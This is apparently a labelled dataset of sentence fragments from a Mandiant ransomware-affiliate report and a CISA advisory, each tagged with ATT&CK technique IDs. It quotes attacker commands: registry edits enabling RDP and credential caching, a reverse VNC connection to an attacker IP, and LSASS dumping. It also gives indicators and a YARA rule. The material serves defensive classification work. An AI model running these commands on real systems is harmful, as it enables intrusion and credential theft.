{"sentence": "SMOKEDHAM Network Communications SMOKEDHAM communicates with its C2 server using HTTPS.", "labels": ["T1071.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The backdoor uses domain fronting to obfuscate its true C2 server.", "labels": ["T1090"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor.", "labels": ["T1090"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The backdoor initiates requests to the C2 server and the C2 server may include commands to execute in the responses.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The UUID field may contain a unique value used to track command output or be empty.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "SMOKEDHAM then sets the same UUID value in the subsequent HTTP POST request that contains the command output.", "labels": ["T1071.001", "T1573.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The Data field may contain RC4-encrypted, Base64-encoded command data or be empty.", "labels": ["T1573.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The C2 server uses the Data field to send commands to the backdoor to execute.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The backdoor uses an RC4 key configured by an earlier stage of execution to encrypt and decrypt the Data field.", "labels": ["T1140", "T1573.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "SMOKEDHAM Commands SMOKEDHAM Base64-decodes, and RC4-decrypts command data returned in the Data field.", "labels": ["T1140", "T1573.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "SMOKEDHAM In Action SMOKEDHAM was observed executing commands on the target system using PowerShell.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "net.exe user net.exe users whoami.exe whoami.exe /priv systeminfo.exe", "labels": ["T1033", "T1082"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "DefaultUser /t REG_DWORD /d", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "0 /f", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The following commands facilitated lateral movement by modifying Terminal Server registry key values to enable multiple Remote Desktop connection sessions, and modifying the Local Security Authority (LSA) registry key value to require a password for authentication.", "labels": ["T1021.001", "T1112"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "reg.exe ADD 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server' /v fDenyTSConnections /t", "labels": ["T1112"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "REG_DWORD /d 0 /f reg.exe ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v LimitBlankPasswordUse /t", "labels": ["T1112"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "1 /f Additionally, SMOKEDHAM modified the WDigest registry key value HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\\UseLogonCredential to enable credential caching.", "labels": ["T1112"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Phase 6: Follow-on Activity SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download the UltraVNC application renamed as winvnc.exe, and a configuration file named UltraVNC.ini, shown in Figure 8.", "labels": ["T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The UltraVNC.ini file allowed UltraVNC to connect to port 6300 on the loopback address specified by the parameter AllowLoopback=1.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "APPDATA%\\Chrome\\winvnc.exe' -autoreconnect ID:15000151 -connect 81.91.177[.]54[:]7234 –run SMOKEDHAM created a persistence mechanism for UltraVNC by adding the application to the ConhostNT value under the current users Run registry key.", "labels": ["T1547.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "These files were stored in the C:\\ProgramData\\WindNT\\ directory.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "NGROK is a publicly available utility that can expose local servers behind NATs and firewalls to the public internet over secure tunnels.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 9: Contents of VirtualHost.vbs Figure 10: Contents of ngrok.yml The execution of VirtualHost.vbs allowed NGROK to listen and forward traffic on TCP port 6300 through an NGROK tunnel, subsequently allowing NGROK to tunnel UltraVNC traffic out of the environment.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "C:\\ProgramData\\WindNT\\VirtualHost.vbs Keylogger Deployment This attacker utilized an additional keylogging utility named C:\\ProgramData\\psh\\console.exe.", "labels": ["T1056.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The keylogging utility was configured to capture and record keystrokes to C:\\ProgramData\\psh\\System32Log.txt.", "labels": ["T1056.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant then observed the attacker use UltraVNC to download two LNK files that reference the keylogging utility.", "labels": ["T1056.001", "T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The downloaded files were named desktop.lnk and console.lnk, respectively, and were placed in the following persistence locations: C:\\Users\\[username]\\Start Menu\\Programs\\Startup\\desktop.lnk", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.lnk", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "cmd.exe /c 'C:\\ProgramData\\Cisco Systems\\Cisco Jabber\\update.exe'&&exit", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant observed the attacker using UltraVNC to download and store a file named update.lnk in the %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ directory.", "labels": ["T1105", "T1547.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "LSASS Dumping and Lateral Movement Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.", "labels": ["T1003.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:\\ProgramData\\psh\\ directory.", "labels": ["T1003.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "From this point, the attacker was observed moving laterally to different systems in the environment using Remote Desktop Protocol (RDP) connections.", "labels": ["T1021.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "UNC2465 interactively established an NGROK tunnel and began moving laterally in less than 24 hours.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Five days later, UNC2465 returned and deployed additional tools such as a keylogger, Cobalt Strike BEACON, and conducted credential harvesting via dumping LSASS memory.", "labels": ["T1003.001", "T1056.001", "T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Ransomware groups continue to adapt and pursue opportunistic access to victims.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "UNC2465’s move from drive-by attacks on website visitors or phishing emails to this software supply chain attack shows a concerning shift that presents new challenges for detection.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "While many organizations are now focusing more on perimeter defenses and two-factor authentication after recent public examples of password reuse or VPN appliance exploitation, monitoring on endpoints is often overlooked or left to traditional antivirus.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Indicators Supply Chain/Trojanized Nullsoft Installer/SmartPSS MD5:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "1430291f2db13c3d94181ada91681408 Filename: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe Zip MD5: 54e0a0d398314f330dfab6cd55d95f38 Supply Chain/Trojanized Nullsoft Installer/SVStation MD5: e9ed774517e129a170cdb856bd13e7e8 Filename: SVStation_Win64-B1130.1.0.0.exe Intermediate Stage URL: hxxp://sdoc[.]xyz/ID-508260156241 IP: 185.92.151[.]150 SMOKEDHAM LOADER MD5: f075c2894ac84df4805e8ccf6491a4f4 (Gbdh7yghJgbj3bb.html) MD5: 05d38c7e957092f7d0ebfc7bf1eb5365 SMOKEDHAM MD5: 127bf1d43313736c52172f8dc6513f56 (in-memory from f075c2894ac84df4805e8ccf6491a4f4)", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Host: skolibri13.azureedge[.]net (actual C2) NGROK MD5: e3bc4dd84f7a24f24d790cc289e0a10f (legitimate NGROK renamed to conhost.exe) MD5: 84ed6012ec62b0bddcd18058a8ff7ddd (VirtualHost.vbs) UltraVNC IP/Port: 81.91.177[.]54:7234 (using legitimate ULTRAVNC 23b89bf2c2b99fbc1e232b4f86af65f4) BEACON Host: w2doger[.]xyz IP: 185.231.68.102 MD5: a9fa3eba3f644ba352462b904dfbcc1a (shellcode)", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Detecting the Techniques FireEye detects this activity across our platforms.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The following contains specific detection names that provide indicators associated with this activity.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Platform Detection Name FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware Analysis FireEye Malware File Protect Backdoor.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "BEACON FE_Loader_Win32_BLUESPINE_1 Trojan.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Win32.CobaltStrike Backdoor.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Binary.ps1 FEC_Backdoor_CS_SMOKEDHAM_1 Suspicious Process PowerShell Activity FireEye Endpoint Security Real-Time Detection (IOC) WDIGEST CREDENTIAL EXPOSURE (METHODOLOGY) WDIGEST CREDENTIAL EXPOSURE VIA REGISTRY (METHODOLOGY) SUSPICIOUS CONHOST.EXE A (METHODOLOGY) TASKMGR PROCESS DUMP OF LSASS.EXE", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "FM NGRok Ultra VNC SVN Station Generic.mg.a9fa3eba3f644ba3 Generic.mg.1626373508569884 Modules Process Guard (LSASS memory protection) FireEye Helix VNC METHODOLOGY", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[Procs] (T1021.005) WINDOWS ANALYTICS", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[Abnormal RDP Logon] (T1078) WINDOWS ANALYTICS", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[Cleartext Credentials Enabled - UseLogonCredential] (T1003.001) WINDOWS METHODOLOGY", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[LSASS Generic Dump Activity] (T1003.001) WINDOWS METHODOLOGY", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[LSASS Memory Access] (T1003.001) WINDOWS METHODOLOGY", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Yara Detections rule Backdoor_Win_SMOKEDHAM { meta: author = \"Mandiant\" date_created = \"2021-06-10\" md5 = \"9de326bf37270776b78e30d442bda48b\" strings: $C2Method = { 2E 4D 65 74 68 6F 64 20 3D 20 22 50 4F 53 54 22 } //.Method = \"POST\" $domainFrontingDomain = /\\.[hH]ost\\s*=\\s*\\\"[^\\\"]*\";/ $envCollection1 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 43 4F 4D 50 55 54 45 52 4E 41 4D 45 22 29 } //Environment.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "GetEnvironmentVariable(\"COMPUTERNAME\") $envCollection2 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 44 4F 4D 41 49 4E 22 29 } //Environment.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "GetEnvironmentVariable(\"USERDOMAIN\") $envCollection3 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable(\"USERNAME", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "\") $functionalityString1 = { 28 22 64 65 6C 61 79 22 29 } //(\"delay\") $functionalityString2 = { 28 22 73 63 72 65 65 6E 73 68 6F 74 22 29 } //(\"screenshot\") $functionalityString3 = { 28 22 65 78 69 74 22 29 } //(\"exit\") $publicStrings1 = \"public string UUID\" $publicStrings2 = \"public string ID\" $publicStrings3 = \"public string Data\" $UserAgentRequest = { 20 3D 20 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 4F 53 56 65 72 73 69 6F 6E 2E 54 6F 53 74 72 69 6E 67 28 29 3B } // = Environment.OSVersion.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Runtime.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "InteropServices.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Marshal]::SecureStringToBSTR $SecureString2 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 69 6e 67 41 75 74 6f} //[System.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Marshal]::PtrToStringAuto condition: filesize < 1MB and (1 of ($listedDLLs*)) and $CSharpLang and $StringConversion and $SecureString1 and $SecureString2 } MITRE ATT&CK UNC2465 Tactic Description Initial Access T1189: Drive-by Compromise T1195.002: Compromise Software Supply Chain T1566:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Phishing Execution T1053.005:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Scheduled Task T1059.001:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Visual Basic Persistence T1098: Account Manipulation T1136: Create Account T1547.001:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Shortcut Modification Defense Evasion T1027: Obfuscated Files or Information T1070.006: Timestomp T1112: Modify Registry T1140: Deobfuscate/Decode Files or Information T1218.005: Mshta T1553.002:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Code Signing T1562.004:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Disable or Modify System Firewall Discovery T1012:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Keylogging T1113: Screen Capture T1560:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Archive Collected Data Impact T1486: Data Encrypted for Impact T1531: Account Access Removal Command and Control T1071.001:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Web Protocols T1090.004:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Remote Access Software T1572:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Protocol Tunneling T1573.002:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "LSASS Memory Resource Development T1588.003: Code Signing Certificates T1588.004: Digital Certificates T1608.003: Install Digital Certificate Acknowledgements Thanks to everyone that contributed analysis and review.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Special thanks to Alison Stailey, Joseph Reyes, Nick Richard, Andrew Thompson, Jeremy Kennelly, Joshua Sablatura, Evan Reese, Van Ta, Stephen Eckels, and Tufail Ahmed.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Original release date: September 14, 2020 | Last revised: October 24, 2020SummaryThe Cybersecurity and Infrastructure Security Agency (CISA) has consistently observed Chinese Ministry of State Security (MSS)-affiliated cyber threat actors using publicly available information sources and common, well-known tactics, techniques, and procedures (TTPs) to target U.S. Government agencies.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "CISA has observed these—and other threat actors with varying degrees of skill—routinely using open-source information to plan and execute cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "This product was written by CISA with contributions by the Federal Bureau of Investigation (FBI).", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Key Takeaways Chinese MSS-affiliated cyber threat actors use open-source information to plan and conduct cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "If critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "This Advisory identifies some of the more common—yet most effective—TTPs employed by cyber threat actors, including Chinese MSS-affiliated cyber threat actors.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "According to a recent U.S. Department of Justice indictment, MSS-affiliated actors have targeted various industries across the United States and other countries—including high-tech manufacturing; medical device, civil, and industrial engineering; business, educational, and gaming software; solar energy; pharmaceuticals; and defense—in a campaign that lasted over ten years.[1]", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "These hackers acted for both their own personal gain and the benefit of the Chinese MSS.[2] According to the indictment, To conceal the theft of information from victim networks and otherwise evade detection, the defendants typically packaged victim data in encrypted Roshal Archive Compressed files (RAR files), changed RAR file and victim documents’ names and extensions (e.g., from “.rar” to “.jpg”) and system timestamps, and concealed programs and documents at innocuous-seeming locations on victim networks and in victim networks’ “recycle bins.”", "labels": ["T1564.001"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "The defendants frequently returned to re-victimize companies, government entities, and organizations from which they had previously stolen data, in some cases years after the initial successful data theft.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "In several instances, however, the defendants were unsuccessful in this regard, due to the efforts of the FBI and network defenders.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "The continued use of open-source tools by Chinese MSS-affiliated cyber threat actors highlights that adversaries can use relatively low-complexity capabilities to identify and exploit target networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "It would also reduce the speed and frequency of opportunistic attacks by forcing threat actors to dedicate time and funding to research unknown vulnerabilities and develop custom exploitation tools.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "MITRE PRE-ATT&CK:registered: Framework for Analysis In the last 12 months, CISA analysts have routinely observed Chinese MSS-affiliated actors using the following PRE-ATT&CK:registered: Framework TTPs. Target Selection and Technical Information Gathering Target Selection [TA0014] is a critical part of cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Threat actors can use information sources such as Shodan, the Common Vulnerabilities and Exposure (CVE) database, and the National Vulnerabilities Database (NVD).[3][4][5] Shodan is an internet search engine that can be used to identify vulnerable devices connected to the internet.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "The CVE database and the NVD contain detailed information about vulnerabilities in applications, appliances, and operating systems that can be exploited by cyber threat actors if they remain unpatched.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "These sources also provide risk assessments if any of the recorded vulnerabilities are successfully exploited.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "CISA analysts are able to identify Federal Government systems that may be susceptible to exploitation attempts by using Shodan, the CVE database, and the NVD to enrich NCPS information.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Unlike threat actors, CISA takes the necessary actions to notify network owners of their exposure in order to prevent an impending intrusion or quickly identify intrusions as they occur.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "While using these data sources, CISA analysts have observed a correlation between the public release of a vulnerability and targeted scanning of systems identified as being vulnerable.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "This correlation suggests that cyber threat actors also rely on Shodan, the CVE database, the NVD, and other open-source information to identify targets of opportunity and plan cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "These information sources therefore contain invaluable information that can lead cyber threat actors to implement highly effective attacks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Table 1: Technical information gathering techniques observed by CISA MITRE ID Name Observation T1245 Determine Approach/Attack Vector", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "T1247 Acquire Open Source Intelligence (OSINT) Data Sets and Information CISA observed activity from network proxy service Internet Protocol (IP) addresses to three Federal Government webpages.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "T1254 Conduct Active Scanning CISA analysts reviewed the network activity of known threat actor IP addresses and found evidence of reconnaissance activity involving virtual security devices.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "This targeting, scanning, and probing frequently leads to compromises at the hands of sophisticated cyber threat actors.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "In some cases, cyber threat actors have used the same vulnerabilities to compromise multiple organizations across many sectors.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Organizations do not appear to be mitigating known vulnerabilities as quickly as cyber threat actors are exploiting them.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "F5 Big-IP Vulnerability CISA has conducted incident response engagements at Federal Government and commercial entities where the threat actors exploited CVE-2020-5902.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Citrix Virtual Private Network (VPN)", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "CVE-2019-19781 enabled the actors to execute directory traversal attacks.[8] CVE-2019-11510:", "labels": ["T1083"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Pulse Secure VPN Servers CISA has conducted multiple incident response engagements at Federal Government and commercial entities where the threat actors exploited CVE-2019-11510—an arbitrary file reading vulnerability affecting Pulse Secure VPN appliances—to gain access to victim networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Although Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where compromised Active Directory credentials were used months after the victim organization patched their VPN appliance.[9] CVE-2020-0688: Microsoft Exchange Server CISA has observed the actors exploiting CVE-2020-0688 for remote code execution to enable email collection of targeted networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Additionally, CISA has observed Chinese MSS-affiliated actors using the techniques listed in table 3 to identify technical weaknesses in Federal Government networks (Technical Weakness Identification [TA0018]).", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Table 3: Technical weakness identification techniques observed by CISA MITRE ID Name Observation T1288 Analyze Architecture and Configuration Posture CISA observed the cyber actors scanning a Federal Government agency for vulnerable web servers.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "CISA also observed the threat actors scanning for known vulnerable network appliance CVE-2019-11510.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "T1291 Research Relevant Vulnerabilities CISA has observed the threat actors scanning and reconnaissance of Federal Government internet-facing systems shortly after the disclosure of significant CVEs. Build Capabilities CISA analysts have observed cyber threat actors using command and control (C2) infrastructure as part of their cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "T1329 Acquire and / or use of 3rd Party Infrastructure CISA has observed the threat actors using virtual private servers to conduct cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "T1349 Build or Acquire Exploit CISA has observed the threat actors using a variety of open-source and publicly available exploits and exploit code to compromise Federal Government networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "For example, threat actors often leverage internet software repositories such as GitHub and Exploit-DB.[10][11]", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Both repositories are commonly used for legitimate development and penetration testing and developing open-source code, but cyber threat actors can also use them to find code to enable nefarious actions.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "During incident response activities, CISA frequently observed Chinese government-affiliated actors using the open-source tools outlined in table 5. Table 5: Common exploit tools CISA observed used by Chinese MSS-affiliated actors Tool Observations Cobalt Strike CISA has observed the threat actors using Cobalt Strike to target commercial and Federal Government networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "It contains a number of tools that complement the cyber threat actor’s exploitation efforts, such as a keystroke logger, file injection capability, and network services scanners.", "labels": ["T1055", "T1056.001"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "China Chopper contains security scanners and can be used to upload files and brute-force passwords.", "labels": ["T1110"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Mimikatz CISA has observed the actors using Mimikatz during their operations.", "labels": ["T1003.001"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
